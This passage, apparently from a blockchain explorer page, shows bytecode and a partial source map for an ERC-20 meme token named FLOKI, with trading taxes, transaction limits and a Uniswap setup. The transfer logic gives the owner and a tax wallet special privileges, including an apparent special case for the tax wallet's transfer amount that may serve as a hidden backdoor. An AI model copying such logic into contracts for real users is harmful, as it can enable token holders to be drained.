80910390a350505050565b5f602080835283518060208501525f5b818110156119f7578581018301518582016040015282016119db565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610a49575f80fd5b5f8060408385031215611a3c575f80fd5b8235611a4781611a17565b946020939093013593505050565b5f805f60608486031215611a67575f80fd5b8335611a7281611a17565b92506020840135611a8281611a17565b929592945050506040919091013590565b5f60208284031215611aa3575f80fd5b813561171981611a17565b5f8060408385031215611abf575f80fd5b8235611aca81611a17565b91506020830135611ada81611a17565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115611b3357815f1904821115611b1957611b19611ae5565b80851615611b2657918102915b93841c9390800290611afe565b509250929050565b5f82611b4957506001610407565b81611b5557505f610407565b8160018114611b6b5760028114611b7557611b91565b6001915050610407565b60ff841115611b8657611b86611ae5565b50506001821b610407565b5060208310610133831016604e8410600b8410161715611bb4575081810a610407565b611bbe8383611af9565b805f1904821115611bd157611bd1611ae5565b029392505050565b5f61171960ff841683611b3b565b808202811582820484141761040757610407611ae5565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611c43575f80fd5b815161171981611a17565b5f805f60608486031215611c60575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611c89575f80fd5b81518015158114611719575f80fd5b8082018082111561040757610407611ae5565b5f60018201611cbc57611cbc611ae5565b5060010190565b8181038181111561040757610407611ae5565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611d3a5784516001600160a01b031683529383019391830191600101611d15565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611d7557634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220237254dd6259c7164b14008614fbd64196f0dcc9a8811e284fa64abb471b6e2c64736f6c63430008170033

Deployed Bytecode

0x608060405260043610610134575f3560e01c80637d1db4a5116100a8578063a9059cbb1161006d578063a9059cbb1461031e578063b04e911d1461033d578063bf474bed14610351578063dd62ed3e14610366578063f2fde38b146103aa578063f5b3c3bf146103c9575f80fd5b80637d1db4a5146102c45780638a8c523c146102d95780638da5cb5b146102ed5780638f9a55c01461030957806395d89b411461013f575f80fd5b8063313ce567116100f9578063313ce5671461020057806349bd5a5e1461021b57806351bc3c851461025257806370a0823114610268578063715018a61461029c578063751039fc146102b0575f80fd5b806306fdde031461013f578063095ea7b31461017b5780630faee56f146101aa57806318160ddd146101cd57806323b872dd146101e1575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b506040805180820182526005815264464c4f4b4960d81b6020820152905161017291906119cb565b60405180910390f35b348015610186575f80fd5b5061019a610195366004611a2b565b6103f7565b6040519015158152602001610172565b3480156101b5575f80fd5b506101bf60135481565b604051908152602001610172565b3480156101d8575f80fd5b506101bf61040d565b3480156101ec575f80fd5b5061019a6101fb366004611a55565b61042d565b34801561020b575f80fd5b5060405160098152602001610172565b348015610226575f80fd5b5060155461023a906001600160a01b031681565b6040516001600160a01b039091168152602001610172565b34801561025d575f80fd5b50610266610494565b005b348015610273575f80fd5b506101bf610282366004611a93565b6001600160a01b03165f9081526001602052604090205490565b3480156102a7575f80fd5b506102666104e5565b3480156102bb575f80fd5b5061026661055f565b3480156102cf575f80fd5b506101bf60105481565b3480156102e4575f80fd5b50610266610610565b3480156102f8575f80fd5b505f546001600160a01b031661023a565b348015610314575f80fd5b506101bf60115481565b348015610329575f80fd5b5061019a610338366004611a2b565b6109de565b348015610348575f80fd5b506102666109ea565b34801561035c575f80fd5b506101bf60125481565b348015610371575f80fd5b506101bf610380366004611aae565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103b5575f80fd5b506102666103c4366004611a93565b610a4c565b3480156103d4575f80fd5b5061019a6103e3366004611a93565b60046020525f908152604090205460ff1681565b5f610403338484610b33565b5060015b92915050565b5f61041a6009600a611bd9565b61042890633b9aca00611be7565b905090565b5f610439848484610c57565b61048a843361048585604051806060016040528060288152602001611d7b602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611422565b610b33565b5060019392505050565b6005546001600160a01b0316336001600160a01b0316146104b3575f80fd5b305f9081526001602052604090205480156104d1576104d18161145a565b4780156104e1576104e1816115c1565b5050565b5f546001600160a01b031633146105175760405162461bcd60e51b815260040161050e90611bfe565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105885760405162461bcd60e51b815260040161050e90611bfe565b6105946009600a611bd9565b6105a290633b9aca00611be7565b6010556105b16009600a611bd9565b6105bf90633b9aca00611be7565b6011557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105ef6009600a611bd9565b6105fd90633b9aca00611be7565b60405190815260200160405180910390a1565b5f546001600160a01b031633146106395760405162461bcd60e51b815260040161050e90611bfe565b601554600160a01b900460ff16156106935760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161050e565b6015805460ff60a01b1916600160a01b179055601480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106ef9030906106e16009600a611bd9565b61048590633b9aca00611be7565b60145f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561073f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107639190611c33565b6001600160a01b031663c9c653963060145f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107c2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107e69190611c33565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610830573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108549190611c33565b601580546001600160a01b039283166001600160a01b031990911681179091555f908152600460205260409020805460ff191660011790556014541663f305d71947306108b5816001600160a01b03165f9081526001602052604090205490565b5f806108c85f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561092e573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109539190611c4e565b505060155460145460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156109a8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109cc9190611c79565b506017805461ff001916610100179055565b5f610403338484610c57565b5f546001600160a01b03163314610a135760405162461bcd60e51b815260040161050e90611bfe565b6005546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610a49573d5f803e3d5ffd5b50565b5f546001600160a01b03163314610a755760405162461bcd60e51b815260040161050e90611bfe565b6001600160a01b038116610ada5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161050e565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610b955760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161050e565b6001600160a01b038216610bf65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161050e565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610cbb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161050e565b6001600160a01b038216610d1d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161050e565b5f8111610d7e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161050e565b60175460ff1680610d995750601554600160a01b900460ff16155b15610dae57610da98383836115f8565b505050565b5f80546001600160a01b03858116911614801590610dd957505f546001600160a01b03848116911614155b8015610df357506005546001600160a01b03848116911614155b1561127e57610e246064610e1e600a54600d5411610e1357600654610e17565b6008545b859061169b565b90611720565b6001600160a01b0385165f9081526004602052604090205490915060ff168015610e5c57506014546001600160a01b03848116911614155b8015610e8057506001600160a01b0383165f9081526003602052604090205460ff16155b15610f6657601054821115610ed75760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161050e565b60115482610ef9856001600160a01b03165f9081526001602052604090205490565b610f039190611c98565b1115610f515760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161050e565b600d8054905f610f6083611cab565b91905055505b6001600160a01b0383165f9081526004602052604090205460ff16158015610fa657506001600160a01b0383165f9081526003602052604090205460ff16155b156110255760115482610fcd856001600160a01b03165f9081526001602052604090205490565b610fd79190611c98565b11156110255760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161050e565b6001600160a01b0383165f9081526004602052604090205460ff16801561105557506001600160a01b0384163014155b156110825761107f6064610e1e600b54600d541161107557600754610e17565b600954859061169b565b90505b6001600160a01b0384165f9081526004602052604090205460ff161580156110c257506001600160a01b0383165f9081526004602052604090205460ff16155b80156110d757506001600160a01b0384163014155b156110df57505f5b305f90815260016020526040902054601a5460ff168015611103575060175460ff16155b801561112657506001600160a01b0384165f9081526004602052604090205460ff165b80156111395750601754610100900460ff165b8015611146575060125481115b80156111555750600c54600d54115b156111f957600f54431115611169575f600e555b601854600e54106111ae5760405162461bcd60e51b815260206004820152600f60248201526e10d04818985b185b98d9481cd95b1b608a1b604482015260640161050e565b6111cb6111c6846111c184601354611761565b611761565b61145a565b4780156111db576111db476115c1565b600e8054905f6111ea83611cab565b909155505043600f555061127c565b60175460ff1615801561122357506001600160a01b0384165f9081526004602052604090205460ff165b80156112365750601754610100900460ff165b8015611243575060125481115b80156112525750600c54600d54115b1561127c5761126a6111c6846111c184601354611761565b47801561127a5761127a476115c1565b505b505b6001600160a01b0384165f9081526003602052604090205460ff16806112bb57506001600160a01b0383165f9081526003602052604090205460ff165b80156112d057506001600160a01b0384163014155b80156112e557506001600160a01b0383163014155b156112ef57436019555b6001600160a01b0384165f9081526003602052604090205460ff1615801561132f57506001600160a01b0383165f9081526003602052604090205460ff16155b15611410576015546001600160a01b0380851691160361138d576001600160a01b0384165f908152601660205260409020601954815461136f9190611cc3565b6001808301919091556113829042611cc3565b600290910155611410565b6001600160a01b038381165f90815260166020526040902060155490918681169116146113e9576001600160a01b0385165f90815260166020526040902054815415806113da5750815481105b156113e3578082555b5061140e565b805461140e57600c54600d5410611400574361140b565b61140b600143611cc3565b81555b505b61141c84848484611775565b50505050565b5f81848411156114455760405162461bcd60e51b815260040161050e91906119cb565b505f6114518486611cc3565b95945050505050565b6017805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061149a5761149a611cd6565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114f1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115159190611c33565b8160018151811061152857611528611cd6565b6001600160a01b03928316602091820292909201015260145461154e9130911684610b33565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906115869085905f90869030904290600401611cea565b5f604051808303815f87803b15801561159d575f80fd5b505af11580156115af573d5f803e3d5ffd5b50506017805460ff1916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156104e1573d5f803e3d5ffd5b6001600160a01b0383165f9081526001602052604090205461161a908261179f565b6001600160a01b038085165f90815260016020526040808220939093559084168152205461164890826117e0565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c4a9085815260200190565b5f825f036116aa57505f610407565b5f6116b58385611be7565b9050826116c28583611d5b565b146117195760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161050e565b9392505050565b5f61171983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061183e565b5f81831161176f5782611719565b50919050565b5f61178185848461186a565b9050611798858583611793878761179f565b61191a565b5050505050565b5f61171983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611422565b5f806117ec8385611c98565b9050838110156117195760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161050e565b5f818361185e5760405162461bcd60e51b815260040161050e91906119cb565b505f6114518486611d5b565b6005545f9081906001600160a01b039081169086160361189657601854611891908561169b565b611898565b835b9050821561191257305f908152600160205260409020546118b990846117e0565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906119099087815260200190565b60405180910390a35b949350505050565b6001600160a01b0384165f9081526001602052604090205461193c908361179f565b6001600160a01b038086165f90815260016020526040808220939093559085168152205461196a90826117e0565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906119bd9085815260200190565b60405180910390a350505050565b5f602080835283518060208501525f5b818110156119f7578581018301518582016040015282016119db565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610a49575f80fd5b5f8060408385031215611a3c575f80fd5b8235611a4781611a17565b946020939093013593505050565b5f805f60608486031215611a67575f80fd5b8335611a7281611a17565b92506020840135611a8281611a17565b929592945050506040919091013590565b5f60208284031215611aa3575f80fd5b813561171981611a17565b5f8060408385031215611abf575f80fd5b8235611aca81611a17565b91506020830135611ada81611a17565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115611b3357815f1904821115611b1957611b19611ae5565b80851615611b2657918102915b93841c9390800290611afe565b509250929050565b5f82611b4957506001610407565b81611b5557505f610407565b8160018114611b6b5760028114611b7557611b91565b6001915050610407565b60ff841115611b8657611b86611ae5565b50506001821b610407565b5060208310610133831016604e8410600b8410161715611bb4575081810a610407565b611bbe8383611af9565b805f1904821115611bd157611bd1611ae5565b029392505050565b5f61171960ff841683611b3b565b808202811582820484141761040757610407611ae5565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611c43575f80fd5b815161171981611a17565b5f805f60608486031215611c60575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611c89575f80fd5b81518015158114611719575f80fd5b8082018082111561040757610407611ae5565b5f60018201611cbc57611cbc611ae5565b5060010190565b8181038181111561040757610407611ae5565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611d3a5784516001600160a01b031683529383019391830191600101611d15565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611d7557634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220237254dd6259c7164b14008614fbd64196f0dcc9a8811e284fa64abb471b6e2c64736f6c63430008170033

Deployed Bytecode Sourcemap

4391:11358:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6559:83;;;;;;;;;;-1:-1:-1;6629:5:0;;;;;;;;;;;-1:-1:-1;;;6629:5:0;;;;6559:83;;;;6629:5;6559:83;:::i;:::-;;;;;;;;7392:161;;;;;;;;;;-1:-1:-1;7392:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7392:161:0;1023:187:1;5561:51:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;5561:51:0;1215:177:1;6836:95:0;;;;;;;;;;;;;:::i;7561:313::-;;;;;;;;;;-1:-1:-1;7561:313:0;;;;;:::i;:::-;;:::i;6745:83::-;;;;;;;;;;-1:-1:-1;6745:83:0;;5295:1;2000:36:1;;1988:2;1973:18;6745:83:0;1858:184:1;5670:28:0;;;;;;;;;;-1:-1:-1;5670:28:0;;;;-1:-1:-1;;;;;5670:28:0;;;;;;-1:-1:-1;;;;;2211:32:1;;;2193:51;;2181:2;2166:18;5670:28:0;2047:203:1;15353:354:0;;;;;;;;;;;;;:::i;:::-;;6939:119;;;;;;;;;;-1:-1:-1;6939:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;7032:18:0;7005:7;7032:18;;;:9;:18;;;;;;;6939:119;3169:148;;;;;;;;;;;;;:::i;14085:160::-;;;;;;;;;;;;;:::i;5371:55::-;;;;;;;;;;;;;;;;14465:880;;;;;;;;;;;;;:::i;2955:79::-;;;;;;;;;;-1:-1:-1;2993:7:0;3020:6;-1:-1:-1;;;;;3020:6:0;2955:79;;5433:56;;;;;;;;;;;;;;;;7066:167;;;;;;;;;;-1:-1:-1;7066:167:0;;;;;:::i;:::-;;:::i;14353:104::-;;;;;;;;;;;;;:::i;5496:58::-;;;;;;;;;;;;;;;;7241:143;;;;;;;;;;-1:-1:-1;7241:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;7349:18:0;;;7322:7;7349:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7241:143;3325:244;;;;;;;;;;-1:-1:-1;3325:244:0;;;;;:::i;:::-;;:::i;4660:43::-;;;;;;;;;;-1:-1:-1;4660:43:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;7392:161;7467:4;7484:39;417:10;7507:7;7516:6;7484:8;:39::i;:::-;-1:-1:-1;7541:4:0;7392:161;;;;;:::o;6836:95::-;6889:7;5351:13;5295:1;5351:2;:13;:::i;:::-;5338:26;;:10;:26;:::i;:::-;6909:14;;6836:95;:::o;7561:313::-;7659:4;7676:36;7686:6;7694:9;7705:6;7676:9;:36::i;:::-;7723:121;7732:6;417:10;7754:89;7792:6;7754:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7754:19:0;;;;;;:11;:19;;;;;;;;417:10;7754:33;;;;;;;;;;:37;:89::i;:::-;7723:8;:121::i;:::-;-1:-1:-1;7862:4:0;7561:313;;;;;:::o;15353:354::-;15419:10;;-1:-1:-1;;;;;15419:10:0;417;-1:-1:-1;;;;;15403:26:0;;15395:35;;;;;;15480:4;15441:20;7032:18;;;:9;:18;;;;;;15500:16;;15497:75;;15530:30;15547:12;15530:16;:30::i;:::-;15601:21;15636:14;;15633:67;;15664:24;15677:10;15664:12;:24::i;:::-;15384:323;;15353:354::o;3169:148::-;3082:6;;-1:-1:-1;;;;;3082:6:0;417:10;3082:22;3074:67;;;;-1:-1:-1;;;3074:67:0;;;;;;;:::i;:::-;;;;;;;;;3276:1:::1;3260:6:::0;;3239:40:::1;::::0;-1:-1:-1;;;;;3260:6:0;;::::1;::::0;3239:40:::1;::::0;3276:1;;3239:40:::1;3307:1;3290:19:::0;;-1:-1:-1;;;;;;3290:19:0::1;::::0;;3169:148::o;14085:160::-;3082:6;;-1:-1:-1;;;;;3082:6:0;417:10;3082:22;3074:67;;;;-1:-1:-1;;;3074:67:0;;;;;;;:::i;:::-;5351:13:::1;5295:1;5351:2;:13;:::i;:::-;5338:26;::::0;:10:::1;:26;:::i;:::-;14139:12;:21:::0;5351:13:::1;5295:1;5351:2;:13;:::i;:::-;5338:26;::::0;:10:::1;:26;:::i;:::-;14171:14;:23:::0;14210:27:::1;5351:13;5295:1;5351:2;:13;:::i;:::-;5338:26;::::0;:10:::1;:26;:::i;:::-;14210:27;::::0;1361:25:1;;;1349:2;1334:18;14210:27:0::1;;;;;;;14085:160::o:0;14465:880::-;3082:6;;-1:-1:-1;;;;;3082:6:0;417:10;3082:22;3074:67;;;;-1:-1:-1;;;3074:67:0;;;;;;;:::i;:::-;14531:11:::1;::::0;-1:-1:-1;;;14531:11:0;::::1;;;14530:12;14522:47;;;::::0;-1:-1:-1;;;14522:47:0;;5145:2:1;14522:47:0::1;::::0;::::1;5127:21:1::0;5184:2;5164:18;;;5157:30;5223:25;5203:18;;;5196:53;5266:18;;14522:47:0::1;4943:347:1::0;14522:47:0::1;14580:11;:18:::0;;-1:-1:-1;;;;14580:18:0::1;-1:-1:-1::0;;;14580:18:0::1;::::0;;:11:::1;14609:80:::0;;-1:-1:-1;;;;;;14609:80:0::1;14646:42;14609:80:::0;;::::1;::::0;;;14700:58:::1;::::0;14717:4:::1;::::0;5351:13:::1;5295:1;5351:2;:13;:::i;:::-;5338:26;::::0;:10:::1;:26;:::i;14700:58::-;14803:15;;;;;;;;;-1:-1:-1::0;;;;;14803:15:0::1;-1:-1:-1::0;;;;;14803:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;14785:55:0::1;;14863:4;14883:15;;;;;;;;;-1:-1:-1::0;;;;;14883:15:0::1;-1:-1:-1::0;;;;;14883:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;14785:131;::::0;-1:-1:-1;;;;;;14785:131:0::1;::::0;;;;;;-1:-1:-1;;;;;5781:15:1;;;14785:131:0::1;::::0;::::1;5763:34:1::0;5833:15;;5813:18;;;5806:43;5698:18;;14785:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;14769:13;:147:::0;;-1:-1:-1;;;;;14769:147:0;;::::1;-1:-1:-1::0;;;;;;14769:147:0;;::::1;::::0;::::1;::::0;;;:13:::1;14927:34:::0;;;:10:::1;:34;::::0;;;;:41;;-1:-1:-1;;14927:41:0::1;14769:147:::0;14927:41:::1;::::0;;14979:15:::1;::::0;::::1;:31;15032:21;15087:4;15107:24;15087:4:::0;-1:-1:-1;;;;;7032:18:0;7005:7;7032:18;;;:9;:18;;;;;;;6939:119;15107:24:::1;15146:1;15162::::0;15178:7:::1;2993::::0;3020:6;-1:-1:-1;;;;;3020:6:0;;2955:79;15178:7:::1;14979:247;::::0;::::1;::::0;;;-1:-1:-1;;;;;;14979:247:0;;;-1:-1:-1;;;;;6219:15:1;;;14979:247:0::1;::::0;::::1;6201:34:1::0;6251:18;;;6244:34;;;;6294:18;;;6287:34;;;;6337:18;;;6330:34;6401:15;;;6380:19;;;6373:44;15200:15:0::1;6433:19:1::0;;;6426:35;6135:19;;14979:247:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;15244:13:0::1;::::0;15275:15:::1;::::0;15237:71:::1;::::0;-1:-1:-1;;;15237:71:0;;-1:-1:-1;;;;;15275:15:0;;::::1;15237:71;::::0;::::1;6957:51:1::0;-1:-1:-1;;7024:18:1;;;7017:34;15244:13:0;::::1;::::0;-1:-1:-1;15237:29:0::1;::::0;6930:18:1;;15237:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;15319:11:0::1;:18:::0;;-1:-1:-1;;15319:18:0::1;;;::::0;;14465:880::o;7066:167::-;7144:4;7161:42;417:10;7185:9;7196:6;7161:9;:42::i;14353:104::-;3082:6;;-1:-1:-1;;;;;3082:6:0;417:10;3082:22;3074:67;;;;-1:-1:-1;;;3074:67:0;;;;;;;:::i;:::-;14407:10:::1;::::0;:42:::1;::::0;-1:-1:-1;;;;;14407:10:0;;::::1;::::0;14427:21:::1;14407:42:::0;::::1;;;::::0;:10:::1;:42:::0;:10;:42;14427:21;14407:10;:42;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;14353:104::o:0;3325:244::-;3082:6;;-1:-1:-1;;;;;3082:6:0;417:10;3082:22;3074:67;;;;-1:-1:-1;;;3074:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;3414:22:0;::::1;3406:73;;;::::0;-1:-1:-1;;;3406:73:0;;7546:2:1;3406:73:0::1;::::0;::::1;7528:21:1::0;7585:2;7565:18;;;7558:30;7624:34;7604:18;;;7597:62;-1:-1:-1;;;7675:18:1;;;7668:36;7721:19;;3406:73:0::1;7344:402:1::0;3406:73:0::1;3516:6;::::0;;3495:38:::1;::::0;-1:-1:-1;;;;;3495:38:0;;::::1;::::0;3516:6;::::1;::::0;3495:38:::1;::::0;::::1;3544:6;:17:::0;;-1:-1:-1;;;;;;3544:17:0::1;-1:-1:-1::0;;;;;3544:17:0;;;::::1;::::0;;;::::1;::::0;;3325:244::o;7882:335::-;-1:-1:-1;;;;;7975:19:0;;7967:68;;;;-1:-1:-1;;;7967:68:0;;7953:2:1;7967:68:0;;;7935:21:1;7992:2;7972:18;;;7965:30;8031:34;8011:18;;;8004:62;-1:-1:-1;;;8082:18:1;;;8075:34;8126:19;;7967:68:0;7751:400:1;7967:68:0;-1:-1:-1;;;;;8054:21:0;;8046:68;;;;-1:-1:-1;;;8046:68:0;;8358:2:1;8046:68:0;;;8340:21:1;8397:2;8377:18;;;8370:30;8436:34;8416:18;;;8409:62;-1:-1:-1;;;8487:18:1;;;8480:32;8529:19;;8046:68:0;8156:398:1;8046:68:0;-1:-1:-1;;;;;8125:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8177:32;;1361:25:1;;;8177:32:0;;1334:18:1;8177:32:0;;;;;;;;7882:335;;;:::o;8482:4020::-;-1:-1:-1;;;;;8575:18:0;;8567:68;;;;-1:-1:-1;;;8567:68:0;;8761:2:1;8567:68:0;;;8743:21:1;8800:2;8780:18;;;8773:30;8839:34;8819:18;;;8812:62;-1:-1:-1;;;8890:18:1;;;8883:35;8935:19;;8567:68:0;8559:401:1;8567:68:0;-1:-1:-1;;;;;8654:16:0;;8646:64;;;;-1:-1:-1;;;8646:64:0;;9167:2:1;8646:64:0;;;9149:21:1;9206:2;9186:18;;;9179:30;9245:34;9225:18;;;9218:62;-1:-1:-1;;;9296:18:1;;;9289:33;9339:19;;8646:64:0;8965:399:1;8646:64:0;8743:1;8729:11;:15;8721:69;;;;-1:-1:-1;;;8721:69:0;;9571:2:1;8721:69:0;;;9553:21:1;9610:2;9590:18;;;9583:30;9649:34;9629:18;;;9622:62;-1:-1:-1;;;9700:18:1;;;9693:39;9749:19;;8721:69:0;9369:405:1;8721:69:0;8807:6;;;;;:22;;-1:-1:-1;8818:11:0;;-1:-1:-1;;;8818:11:0;;;;8817:12;8807:22;8803:112;;;8846:36;8861:4;8867:2;8870:11;8846:14;:36::i;:::-;8482:4020;;;:::o;8803:112::-;8927:17;3020:6;;-1:-1:-1;;;;;8963:15:0;;;3020:6;;8963:15;;;;:32;;-1:-1:-1;2993:7:0;3020:6;-1:-1:-1;;;;;8982:13:0;;;3020:6;;8982:13;;8963:32;:52;;;;-1:-1:-1;9005:10:0;;-1:-1:-1;;;;;8999:16:0;;;9005:10;;8999:16;;8963:52;8959:2290;;;9044:82;9122:3;9044:73;9072:15;;9061:9;;:26;9060:56;;9102:14;;9060:56;;;9089:12;;9060:56;9044:11;;:15;:73::i;:::-;:77;;:82::i;:::-;-1:-1:-1;;;;;9147:16:0;;;;;;:10;:16;;;;;;9032:94;;-1:-1:-1;9147:16:0;;:50;;;;-1:-1:-1;9181:15:0;;-1:-1:-1;;;;;9167:30:0;;;9181:15;;9167:30;;9147:50;:76;;;;-1:-1:-1;;;;;;9203:20:0;;;;;;:16;:20;;;;;;;;9201:22;9147:76;9143:379;;;9269:12;;9254:11;:27;;9246:64;;;;-1:-1:-1;;;9246:64:0;;9981:2:1;9246:64:0;;;9963:21:1;10020:2;10000:18;;;9993:30;10059:27;10039:18;;;10032:55;10104:18;;9246:64:0;9779:349:1;9246:64:0;9390:14;;9375:11;9359:13;9369:2;-1:-1:-1;;;;;7032:18:0;7005:7;7032:18;;;:9;:18;;;;;;;6939:119;9359:13;:27;;;;:::i;:::-;:45;;9329:145;;;;-1:-1:-1;;;9329:145:0;;10465:2:1;9329:145:0;;;10447:21:1;10504:2;10484:18;;;10477:30;10543:28;10523:18;;;10516:56;10589:18;;9329:145:0;10263:350:1;9329:145:0;9495:9;:11;;;:9;:11;;;:::i;:::-;;;;;;9143:379;-1:-1:-1;;;;;9543:14:0;;;;;;:10;:14;;;;;;;;9542:15;:41;;;;-1:-1:-1;;;;;;9563:20:0;;;;;;:16;:20;;;;;;;;9561:22;9542:41;9538:166;;;9644:14;;9629:11;9613:13;9623:2;-1:-1:-1;;;;;7032:18:0;7005:7;7032:18;;;:9;:18;;;;;;;6939:119;9613:13;:27;;;;:::i;:::-;:45;;9605:83;;;;-1:-1:-1;;;9605:83:0;;10465:2:1;9605:83:0;;;10447:21:1;10504:2;10484:18;;;10477:30;10543:28;10523:18;;;10516:56;10589:18;;9605:83:0;10263:350:1;9605:83:0;-1:-1:-1;;;;;9723:14:0;;;;;;:10;:14;;;;;;;;